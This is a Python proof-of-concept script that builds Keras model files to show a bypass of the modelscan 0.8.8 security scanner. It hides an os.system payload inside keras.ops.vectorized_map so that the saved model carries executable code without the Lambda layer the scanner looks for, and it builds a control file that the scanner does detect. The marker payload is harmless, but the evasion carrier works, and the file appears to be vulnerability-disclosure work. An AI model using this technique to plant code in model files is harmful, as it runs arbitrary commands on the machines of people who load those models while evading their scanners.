build_poc.py

"""
Build PoC for modelscan 0.8.8 Keras VectorizedMap __lambda__ carrier bypass.
Env: pip install tensorflow keras modelscan==0.8.8 ; KERAS_BACKEND=tensorflow
Produces:
  evil_vectorizedmap.keras  -- malicious: benign-looking, class_name 'VectorizedMap', no 'Lambda' layer
  control_lambda.keras      -- SAME payload but wrapped in a real Lambda layer (modelscan detects this)
Payload is benign: writes /tmp/VMAP_PWN.txt with `id -u`.
"""
import os, keras, numpy as np
os.environ.setdefault("KERAS_BACKEND", "tensorflow")

# Benign marker payload (side effect) that returns its input unchanged.
payload = lambda t: (os.system("echo VMAP_RCE_$(id -u) > /tmp/VMAP_PWN.txt"), t)[1]

# --- MALICIOUS: keras.ops.vectorized_map serializes as a top-level 'VectorizedMap'
#     Operation carrying the payload as a __lambda__ in its `function` config field.
inp = keras.Input(shape=(3,))
out = keras.ops.vectorized_map(payload, inp)
keras.Model(inp, out).save("evil_vectorizedmap.keras")

# --- CONTROL: identical payload but as a real Lambda layer (modelscan flags this).
inp2 = keras.Input(shape=(3,))
out2 = keras.layers.Lambda(lambda x: keras.ops.vectorized_map(payload, x))(inp2)
keras.Model(inp2, out2).save("control_lambda.keras")
print("built evil_vectorizedmap.keras and control_lambda.keras")